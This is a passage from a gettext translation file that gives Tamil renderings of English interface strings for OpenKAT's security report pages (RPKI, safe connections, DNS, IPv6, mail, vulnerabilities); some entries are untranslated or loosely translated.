off.\"\nmsgstr \"\"\n\"இந்த அட்டவணை அறியப்பட்ட சொத்துக்களின் அடிப்படை பாதுகாப்பு நிலை பற்றிய கண்ணோட்டத்தை \"\n\"வழங்குகிறது. வரிசையில் அடிப்படை பாதுகாப்பு. கொள்கையளவில், இந்த அட்டவணையில் உள்ள அனைத்து \"\n\"மதிப்புகளையும் சரிபார்க்க வேண்டும்.\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"Basic security status\"\nmsgstr \"அடிப்படை பாதுகாப்பு நிலை\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/multi_organization_report/ipv6.html\n#: reports/report_types/systems_report/report.html\nmsgid \"System type\"\nmsgstr \"கணினி வகை\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Safe connections\"\nmsgstr \"பாதுகாப்பான இணைப்புகள்\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"System Specific\"\nmsgstr \"கணினி குறிப்பிட்ட\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\nmsgid \"RPKI\"\nmsgstr \"RPKI\"\n\n#: reports/report_types/aggregate_organisation_report/basic_security.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"server\"\nmsgstr \"சேவையகம்\"\n\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"This chapter contains information about the findings that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Recommendations\"\nmsgstr \"பரிந்துரைகள்\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"There is <i>%(total_findings)s</i> vulnerability\"\nmsgid_plural \"There are <i>%(total_findings)s</i> vulnerabilities\"\nmsgstr[0] \"<i>%(total_findings)s </i> பாதிப்பு உள்ளது\"\nmsgstr[1] \"<i>%(total_findings)s </i> பாதிப்புகள் உள்ளன\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#, python-format\nmsgid \"found on <i>%(total_systems)s</i> system.\"\nmsgid_plural \"found on <i>%(total_systems)s</i> systems.\"\nmsgstr[0] \"<i>%(total_systems)s </i> கணினியில் காணப்படுகிறது.\"\nmsgstr[1] \"<i>%(total_systems)s </i> கணினிகளில் காணப்படுகிறது.\"\n\n#: reports/report_types/aggregate_organisation_report/recommendations.html\n#: reports/report_types/multi_organization_report/recommendations.html\nmsgid \"There are no recommendations.\"\nmsgstr \"பரிந்துரைகள் எதுவும் இல்லை.\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Basic security\"\nmsgstr \"அடிப்படை பாதுகாப்பு\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\nmsgid \"\"\n\"In this chapter, first a table of compliance checks is displayed, followed \"\n\"by a detailed examination of compliance issues for each component.\"\nmsgstr \"\"\n\"இந்த அத்தியாயத்தில், முதலில் இணக்க காசோலைகளின் அட்டவணை காட்டப்படும், அதைத் தொடர்ந்து \"\n\"ஒவ்வொரு கூறுகளுக்கும் இணக்க சிக்கல்களை விரிவாக ஆய்வு செய்கிறது.\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"System specific\"\nmsgstr \"கணினி குறிப்பிட்ட\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Resource Public Key Infrastructure\"\nmsgstr \"வள பொது முக்கிய உள்கட்டமைப்பு\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Vulnerabilities\"\nmsgstr \"பாதிப்புகள்\"\n\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\nmsgid \"Vulnerabilities found are grouped per system.\"\nmsgstr \"காணப்படும் பாதிப்புகள் ஒரு அமைப்புக்கு தொகுக்கப்பட்டுள்ளன.\"\n\n#: reports/report_types/aggregate_organisation_report/report.py\nmsgid \"Aggregate Organisation Report\"\nmsgstr \"மொத்த அமைப்பு அறிக்கை\"\n\n#: reports/report_types/aggregate_organisation_report/rpki.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This section contains basic security information about resource public key \"\n\"infrastructure. If your web server employs RPKI for its IP addresses and \"\n\"associated nameservers, then it enhances visitor protection against \"\n\"misconfigurations and malicious route intercepts through verified route \"\n\"announcements, ensuring reliable server access and secure internet traffic.\"\nmsgstr \"\"\n\"இந்த பிரிவில் வள பொது முக்கிய உள்கட்டமைப்பு பற்றிய அடிப்படை பாதுகாப்பு தகவல்கள் உள்ளன. \"\n\"உங்கள் வலை சேவையகம் அதன் ஐபி முகவரிகள் மற்றும் அதனுடன் தொடர்புடைய பெயர்களுக்காக RPKI ஐப் \"\n\"பயன்படுத்தினால், அது சரிபார்க்கப்பட்ட பாதை அறிவிப்புகள் மூலம் தவறான கட்டமைப்புகள் மற்றும் \"\n\"தீங்கிழைக்கும் பாதை இடைமறிப்புகளுக்கு எதிராக பார்வையாளர் பாதுகாப்பை மேம்படுத்துகிறது, \"\n\"இது நம்பகமான சேவையக அணுகலை உறுதி செய்கிறது மற்றும் இணைய போக்குவரத்தை பாதுகாப்பது.\"\n\n#: reports/report_types/aggregate_organisation_report/safe_connections.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"In this chapter we check if the connections of all the IP ports of the \"\n\"system are safe. Safe connections are important to prevent unauthorised \"\n\"access and data breaches. Strong ciphers are crucial because they ensure \"\n\"strong encryption which protects the data from interception during \"\n\"communiction.\"\nmsgstr \"\"\n\"இந்த அத்தியாயத்தில் கணினியின் அனைத்து ஐபி துறைமுகங்களின் இணைப்புகள் பாதுகாப்பாக \"\n\"இருக்கிறதா என்று சரிபார்க்கிறோம். அங்கீகரிக்கப்படாத அணுகல் மற்றும் தரவு மீறல்களைத் தடுக்க \"\n\"பாதுகாப்பான இணைப்புகள் முதன்மை. வலுவான மறைக்குறியீடுகள் முக்கியமானவை, ஏனெனில் அவை \"\n\"வலுவான குறியாக்கத்தை உறுதி செய்கின்றன, இது தகவல்தொடர்புகளின் போது தரவை \"\n\"இடைமறிப்பிலிருந்து பாதுகாக்கிறது.\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\n#: reports/report_types/multi_organization_report/summary.html\n#: rocky/views/ooi_tree.py\nmsgid \"Summary\"\nmsgstr \"சுருக்கம்\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Critical Vulnerabilities\"\nmsgstr \"சிக்கலான பாதிப்புகள்\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"IPs scanned\"\nmsgstr \"ஐபிஎச் ச்கேன்\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Hostnames scanned\"\nmsgstr \"புரவலன் பெயர்கள் ச்கேன் செய்யப்பட்டன\"\n\n#: reports/report_types/aggregate_organisation_report/summary.html\nmsgid \"Terms in report\"\nmsgstr \"அறிக்கையில் விதிமுறைகள்\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#, python-format\nmsgid \"\"\n\"This table shows which checks were performed. Following that, the compliance \"\n\"issues, if any, are shown for each %(type)s Server.\"\nmsgstr \"\"\n\"எந்த காசோலைகள் செய்யப்பட்டன என்பதை இந்த அட்டவணை காட்டுகிறது. அதைத் தொடர்ந்து, இணக்க \"\n\"சிக்கல்கள் ஏதேனும் இருந்தால், ஒவ்வொரு %(type)sேவையகத்திற்கும் காண்பிக்கப்படும்.\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\nmsgid \"Check overview\"\nmsgstr \"கண்ணோட்டத்தை சரிபார்க்கவும்\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Check\"\nmsgstr \"சரிபார்\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance\"\nmsgstr \"இணக்கம்\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/rpki_report/report.html\nmsgid \"IPs are compliant\"\nmsgstr \"ஐபிக்கள் இணக்கமானவை\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\nmsgid \"Host:\"\nmsgstr \"புரவலன்:\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/web_system_report/report.html\nmsgid \"Compliance issue\"\nmsgstr \"இணக்க சிக்கல்\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/rpki_report/report.html\n#: reports/report_types/safe_connections_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Risk level\"\nmsgstr \"இடர் நிலை\"\n\n#: reports/report_types/aggregate_organisation_report/system_specific_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"\"\n\"This is where checks are done that are specific to system types. Different \"\n\"security and compliance issues come into play for different systems. They \"\n\"are listed here under each other.\"\nmsgstr \"\"\n\"கணினி வகைகளுக்கு குறிப்பிட்ட காசோலைகள் செய்யப்படுவது இங்குதான். வெவ்வேறு பாதுகாப்பு \"\n\"மற்றும் இணக்க சிக்கல்கள் வெவ்வேறு அமைப்புகளுக்கு செயல்படுகின்றன. அவை இங்கே ஒருவருக்கொருவர் \"\n\"பட்டியலிடப்பட்டுள்ளன.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Term Overview\"\nmsgstr \"கால கண்ணோட்டம்\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"For definitions of terms used in this chapter, see the glossary below.\"\nmsgstr \"\"\n\"இந்த அத்தியாயத்தில் பயன்படுத்தப்படும் சொற்களின் வரையறைகளுக்கு, கீழே உள்ள சொற்களஞ்சியத்தைப் \"\n\"பார்க்கவும்.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Web servers and domains are examples of digital assets within this \"\n\"framework. Web servers are essential for hosting and serving websites or web \"\n\"applications, while domains represent the online addresses used to access \"\n\"these resources. Other examples of assets in the IT realm include databases, \"\n\"user accounts, software applications, and networking infrastructure. Asset \"\n\"management is a critical aspect of cybersecurity, involving the \"\n\"identification, classification, and protection of these assets to safeguard \"\n\"against threats and ensure the overall security and functionality of an \"\n\"organization's IT environment.\"\nmsgstr \"\"\n\"வலை சேவையகங்கள் மற்றும் களங்கள் இந்த கட்டமைப்பிற்குள் டிசிட்டல் சொத்துக்களின் \"\n\"எடுத்துக்காட்டுகள். வலைத்தளங்கள் அல்லது வலை பயன்பாடுகளை ஓச்டிங் செய்வதற்கும் பணி செய்வதற்கும் \"\n\"வலை சேவையகங்கள் தேவை, அதே நேரத்தில் களங்கள் இந்த வளங்களை அணுக பயன்படும் நிகழ்நிலை \"\n\"முகவரிகளைக் குறிக்கின்றன. ஐடி உலகில் உள்ள சொத்துக்களின் பிற எடுத்துக்காட்டுகளில் \"\n\"தரவுத்தளங்கள், பயனர் கணக்குகள், மென்பொருள் பயன்பாடுகள் மற்றும் நெட்வொர்க்கிங் உள்கட்டமைப்பு \"\n\"ஆகியவை அடங்கும். சொத்து மேலாண்மை என்பது இணைய பாதுகாப்பின் ஒரு முக்கியமான அம்சமாகும், \"\n\"இது அச்சுறுத்தல்களுக்கு எதிராக பாதுகாப்பதற்கும் ஒரு நிறுவனத்தின் செய்தி தொழில்நுட்ப \"\n\"சூழலின் ஒட்டுமொத்த பாதுகாப்பு மற்றும் செயல்பாட்டை உறுதி செய்வதற்கும் இந்த சொத்துக்களை \"\n\"அடையாளம் காணுதல், வகைப்படுத்துதல் மற்றும் பாதுகாத்தல் ஆகியவற்றை உள்ளடக்கியது.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"Multiple hostnames that resolve to one IP address where at least one of the \"\n\"hostnames or the IP address has a declared scan level that is at least L1. \"\n\"Type systems are web servers, mail servers and name servers (DNS).\"\nmsgstr \"\"\n\"ஒரு ஐபி முகவரியைத் தீர்க்கும் பல ஓச்ட்பெயர்கள், அங்கு ஓச்ட்பெயர்கள் அல்லது ஐபி முகவரியில் \"\n\"குறைந்தபட்சம் ஒன்று அறிவிக்கப்பட்ட வருடு அளவைக் கொண்டுள்ளது, இது குறைந்தபட்சம் எல் 1 ஆகும். \"\n\"வகை அமைப்புகள் வலை சேவையகங்கள், அஞ்சல் சேவையகங்கள் மற்றும் பெயர் சேவையகங்கள் (டி.என்.எச்).\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A fundamental component of the client-server model. A web server uses \"\n\"protocols like HTTP or HTTPS to facilitate communication between clients and \"\n\"the server.\"\nmsgstr \"\"\n\"கிளையன்ட்-சர்வர் மாதிரியின் அடிப்படை கூறு. வாடிக்கையாளர்களுக்கும் சேவையகத்திற்கும் \"\n\"இடையிலான தகவல்தொடர்புகளை எளிதாக்க ஒரு வலை சேவையகம் HTTP அல்லது HTTPS போன்ற \"\n\"நெறிமுறைகளைப் பயன்படுத்துகிறது.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A mail server is a specialized software application or hardware device that \"\n\"facilitates the sending, receiving, and storage of emails within a computer \"\n\"network. Operating on the Simple Mail Transfer Protocol (SMTP) for outgoing \"\n\"messages and either Internet Message Access Protocol (IMAP) or Post Office \"\n\"Protocol (POP) for incoming messages, a mail server manages email \"\n\"communication by routing messages between users and storing them until they \"\n\"are retrieved. The server ensures the efficient and secure transfer of \"\n\"emails, handling tasks such as authentication, spam filtering, and message \"\n\"storage.\"\nmsgstr \"\"\n\"ஒரு அஞ்சல் சேவையகம் என்பது ஒரு சிறப்பு மென்பொருள் பயன்பாடு அல்லது வன்பொருள் சாதனமாகும், \"\n\"இது கணினி நெட்வொர்க்கில் மின்னஞ்சல்களை அனுப்புதல், பெறுதல் மற்றும் சேமித்தல் ஆகியவற்றை \"\n\"எளிதாக்குகிறது. வெளிச்செல்லும் செய்திகளுக்கான எளிய அஞ்சல் பரிமாற்ற நெறிமுறையில் (SMTP) \"\n\"மற்றும் உள்வரும் செய்திகளுக்கான இணைய செய்தி அணுகல் நெறிமுறை (IMAP) அல்லது தபால் அலுவலக \"\n\"நெறிமுறை (POP) ஆகியவற்றில் இயங்குகிறது, ஒரு அஞ்சல் சேவையகம் பயனர்களிடையே செய்திகளை \"\n\"வழிநடத்துவதன் மூலமும் அவற்றை சேமிப்பதன் மூலமும் மின்னஞ்சல் தகவல்தொடர்புகளை நிர்வகிக்கிறது \"\n\"மீட்டெடுக்கப்பட்டது. மின்னஞ்சல்களின் திறமையான மற்றும் பாதுகாப்பான பரிமாற்றத்தை சேவையகம் \"\n\"உறுதி செய்கிறது, ஏற்பு, ச்பேம் வடிகட்டுதல் மற்றும் செய்தி சேமிப்பு போன்ற பணிகளைக் \"\n\"கையாளுகிறது.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A nameserver, or Domain Name System (DNS) server, is a critical component of \"\n\"the internet infrastructure responsible for translating human-readable \"\n\"domain names into IP addresses, enabling the seamless navigation of the web. \"\n\"When a user enters a domain name in a web browser, the nameserver is queried \"\n\"to obtain the corresponding IP address of the server hosting the associated \"\n\"website or service.\"\nmsgstr \"\"\n\"ஒரு பெயர்செர்வர், அல்லது டொமைன் பெயர் அமைப்பு (டி.என்.எச்) சேவையகம், மனித-படிக்கக்கூடிய \"\n\"டொமைன் பெயர்களை ஐபி முகவரிகளில் மொழிபெயர்ப்பதற்கு பொறுப்பான இணைய உள்கட்டமைப்பின் ஒரு \"\n\"முக்கிய அங்கமாகும், இது வலையின் தடையற்ற வழிசெலுத்தலை செயல்படுத்துகிறது. ஒரு வலை \"\n\"உலாவியில் ஒரு பயனர் ஒரு டொமைன் பெயரில் நுழையும்போது, தொடர்புடைய வலைத்தளம் அல்லது \"\n\"சேவையை புரவலன் செய்யும் சேவையகத்தின் தொடர்புடைய ஐபி முகவரியைப் பெற பெயர்சர்வர் \"\n\"வினவப்படும்.\"\n\n#: reports/report_types/aggregate_organisation_report/term_overview.html\nmsgid \"\"\n\"A DICOM server, which stands for Digital Imaging and Communications in \"\n\"Medicine, is a specialized server designed for the storage, retrieval, and \"\n\"exchange of medical images and related information in the healthcare \"\n\"industry. DICOM is a widely adopted standard that ensures interoperability \"\n\"and consistency in the communication of medical images and associated data \"\n\"among different devices and systems, such as medical imaging equipment, \"\n\"picture archiving and communication systems (PACS), and radiology \"\n\"information systems (RIS). DICOM servers store and manage patient-specific \"\n\"medical images, like X-rays, CT scans, and MRIs, utilizing a standardized \"\n\"format.\"\nmsgstr \"\"\n\"மருத்துவத்தில் டிசிட்டல் இமேசிங் மற்றும் தகவல்தொடர்புகளைக் குறிக்கும் ஒரு டிகாம் சேவையகம், \"\n\"சுகாதாரத் துறையில் மருத்துவ படங்கள் மற்றும் தொடர்புடைய தகவல்களை சேமித்தல், மீட்டெடுப்பு \"\n\"மற்றும் பரிமாற்றத்திற்காக வடிவமைக்கப்பட்ட ஒரு சிறப்பு சேவையகமாகும். DICOM என்பது பரவலாக \"\n\"ஏற்றுக்கொள்ளப்பட்ட தரமாகும், இது மருத்துவ படங்கள் மற்றும் தொடர்புடைய தரவுகளின் தகவல்தொடர்பு \"\n\"மற்றும் தொடர்புடைய தரவுகளான மருத்துவ இமேசிங் உபகரணங்கள், பட காப்பக மற்றும் செய்தி \"\n\"தொடர்பு அமைப்புகள் (பிஏசி) மற்றும் கதிரியக்க செய்தி அமைப்புகள் (RIS) போன்றவற்றில் \"\n\"இயங்குதளத்தையும் நிலைத்தன்மையையும் உறுதி செய்கிறது. டிகாம் சேவையகங்கள் எக்ச்-கதிர்கள், சி.\"\n\"டி ச்கேன் மற்றும் எம்.ஆர்.ஐ போன்ற நோயாளிகளின் சார்ந்த மருத்துவ படங்களை சேமித்து \"\n\"நிர்வகிக்கின்றன, இது தரப்படுத்தப்பட்ட வடிவமைப்பைப் பயன்படுத்துகிறது.\"\n\n#: reports/report_types/aggregate_organisation_report/vulnerabilities.html\n#: reports/report_types/multi_organization_report/vulnerabilities.html\nmsgid \"No CVEs have been found.\"\nmsgstr \"சி.வி.இக்கள் எதுவும் கண்டுபிடிக்கப்படவில்லை.\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Records found\"\nmsgstr \"பதிவுகள் கிடைத்தன\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The DNS report gives an overview of the DNS records that were found for the \"\n\"DNSZone. Additionally the security measures table shows whether or not DNS \"\n\"relating security measures are enabled.\"\nmsgstr \"\"\n\"டி.என்.எச். கூடுதலாக, பாதுகாப்பு நடவடிக்கைகள் தொடர்பான டி.என் கள் செயல்படுத்தப்பட்டதா \"\n\"இல்லையா என்பதை பாதுகாப்பு நடவடிக்கைகள் அட்டவணை காட்டுகிறது.\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"<strong>Disclaimer:</strong> Not all DNSRecords are parsed in OpenKAT. DNS \"\n\"record types that are parsed and could be displayed in the table are:\"\nmsgstr \"\"\n\"<strong> மறுப்பு: </strong> அனைத்து DNSRECORD களும் OpenKat இல் \"\n\"பாகுபடுத்தப்படவில்லை. பாகுபடுத்தப்பட்ட மற்றும் அட்டவணையில் காட்டக்கூடிய டிஎன்எச் பதிவு \"\n\"வகைகள்:\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"All existing DNS record types can be found here:\"\nmsgstr \"தற்போதுள்ள அனைத்து டிஎன்எச் பதிவு வகைகளையும் இங்கே காணலாம்:\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Record\"\nmsgstr \"பதிவு\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"TTL\"\nmsgstr \"Ttl\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Data\"\nmsgstr \"தகவல்கள்\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No records have been found.\"\nmsgstr \"பதிவுகள் எதுவும் கிடைக்கவில்லை.\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Security measures\"\nmsgstr \"பாதுகாப்பு நடவடிக்கைகள்\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"\"\n\"The security measures table below shows which DNS relating security measures \"\n\"are enabled based on the contents of the DNS records.\"\nmsgstr \"\"\n\"டிஎன்எச் பதிவுகளின் உள்ளடக்கங்களின் அடிப்படையில் பாதுகாப்பு நடவடிக்கைகள் தொடர்பான டிஎன்எச் \"\n\"இயக்கப்பட்டிருப்பதை கீழே உள்ள பாதுகாப்பு நடவடிக்கைகள் அட்டவணை காட்டுகிறது.\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/partials/ooi_detail_related_object.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Type\"\nmsgstr \"வகை\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Yes\"\nmsgstr \"ஆம்\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"No\"\nmsgstr \"இல்லை\"\n\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\nmsgid \"Other findings found\"\nmsgstr \"பிற கண்டுபிடிப்புகள் காணப்படுகின்றன\"\n\n#: reports/report_types/dns_report/report.html\nmsgid \"Findings information\"\nmsgstr \"கண்டுபிடிப்புகள் செய்தி\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"DNS Report\"\nmsgstr \"டிஎன்எச் அறிக்கை\"\n\n#: reports/report_types/dns_report/report.py\nmsgid \"\"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses.\"\nmsgstr \"\"\n\"டி.என்.எச் அறிக்கைகள் டொமைன் பெயர் கணினி உள்ளமைவு மற்றும் சாத்தியமான பலவீனங்களில் கவனம் \"\n\"செலுத்துகின்றன.\"\n\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"The Findings Report contains information about the findings that have been \"\n\"identified for the selected asset and organization.\"\nmsgstr \"\"\n\"கண்டுபிடிப்புகள் அறிக்கையில் தேர்ந்தெடுக்கப்பட்ட சொத்து மற்றும் அமைப்புக்காக அடையாளம் \"\n\"காணப்பட்ட கண்டுபிடிப்புகள் பற்றிய தகவல்கள் உள்ளன.\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Findings Report\"\nmsgstr \"கண்டுபிடிப்புகள் அறிக்கை\"\n\n#: reports/report_types/findings_report/report.py\nmsgid \"Shows all the finding types and their occurrences.\"\nmsgstr \"அனைத்து கண்டுபிடிப்பு வகைகளையும் அவற்றின் நிகழ்வுகளையும் காட்டுகிறது.\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"\"\n\"The IPv6 report provides an overview of the current IPv6 status of the \"\n\"identified system. The table below shows whether the domain is reachable \"\n\"over IPv6 or not. A green compliance check is shown if this is the case. A \"\n\"grey compliance cross is shown if no IPv6 address was detected.\"\nmsgstr \"\"\n\"ஐபிவி 6 அறிக்கை அடையாளம் காணப்பட்ட அமைப்பின் தற்போதைய ஐபிவி 6 நிலையின் கண்ணோட்டத்தை \"\n\"வழங்குகிறது. ஐபிவி 6 ஐ விட டொமைன் அடைய முடியுமா இல்லையா என்பதை கீழே உள்ள அட்டவணை \"\n\"காட்டுகிறது. இதுபோன்றால் பச்சை இணக்க சோதனை காட்டப்பட்டுள்ளது. ஐபிவி 6 முகவரி எதுவும் \"\n\"கண்டறியப்படவில்லை என்றால் சாம்பல் இணக்க குறுக்கு காட்டப்பட்டுள்ளது.\"\n\n#: reports/report_types/ipv6_report/report.html\nmsgid \"IPv6 overview\"\nmsgstr \"IPv6 கண்ணோட்டம்\"\n\n#: reports/report_types/ipv6_report/report.html\n#: reports/report_types/systems_report/report.html\nmsgid \"Domain\"\nmsgstr \"டொமைன்\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"IPv6 Report\"\nmsgstr \"IPVSH அறிக்கை\"\n\n#: reports/report_types/ipv6_report/report.py\nmsgid \"Check whether hostnames point to IPv6 addresses.\"\nmsgstr \"ஓச்ட்பேம்ச் ஐபிவி 6 முகவரிகளை சுட்டிக்காட்டுகிறதா என்பதை சரிபார்க்கவும்.\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"\"\n\"The Mail Report provides an overview of the compliance checks associated \"\n\"with email servers. The current compliance checks the presence of SPF, DKIM \"\n\"and DMARC records. The table below shows for each of these checks how many \"\n\"of the identified mail servers are compliant, and if applicable a compliance \"\n\"issue description and risk level. The risk level may be different for your \"\n\"specific environment.\"\nmsgstr \"\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"Mailserver compliance\"\nmsgstr \"மெயில்சர்வர் இணக்கம்\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"mailservers compliant\"\nmsgstr \"மெயில்சர்வர்கள் இணக்கமானவர்கள்\"\n\n#: reports/report_types/mail_report/report.html\nmsgid \"No mailservers have been found on this system.\"\nmsgstr \"இந்த அமைப்பில் மெயில் சர்வர் எதுவும் கிடைக்கவில்லை.\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"Mail Report\"\nmsgstr \"அஞ்சல் அறிக்கை\"\n\n#: reports/report_types/mail_report/report.py\nmsgid \"\"\n\"System specific Mail Report that focusses on IP addresses and hostnames.\"\nmsgstr \"\"\n\"கணினி குறிப்பிட்ட அஞ்சல் அறிக்கை ஐபி முகவரிகள் மற்றும் ஓச்ட்பெயர்களில் கவனம் செலுத்துகிறது.\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Overview of included assets\"\nmsgstr \"சேர்க்கப்பட்ட சொத்துகளின் கண்ணோட்டம்\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Asset\"\nmsgstr \"சொத்துடைமை\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Amount\"\nmsgstr \"தொகை\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"IP addresses\"\nmsgstr \"ஐபி முகவரிகள்\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Domain names\"\nmsgstr \"டொமைன் பெயர்கள்\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Assets with most critical vulnerabilities\"\nmsgstr \"மிகவும் முக்கியமான பாதிப்புகளைக் கொண்ட சொத்துக்கள்\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Vulnerability\"\nmsgstr \"பாதிப்பு\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"Organisation\"\nmsgstr \"நிறுவனம்\"\n\n#: reports/report_types/multi_organization_report/asset_overview.html\nmsgid \"No vulnerabilities found.\"\nmsgstr \"பாதிப்புகள் எதுவும் கிடைக்கவில்லை.\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\nmsgid \"Overview of safe connections\"\nmsgstr \"பாதுகாப்பான இணைப்புகளின் கண்ணோட்டம்\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"Only Safe Ciphers\"\nmsgstr \"பாதுகாப்பான மறைக்குறியீடுகள் மட்டுமே\"\n\n#: reports/report_types/multi_organization_report/basic_security_details.html\n#: reports/report_types/safe_connections_report/report.html\nmsgid \"services are compliant\"\nmsgstr \"சேவைகள் 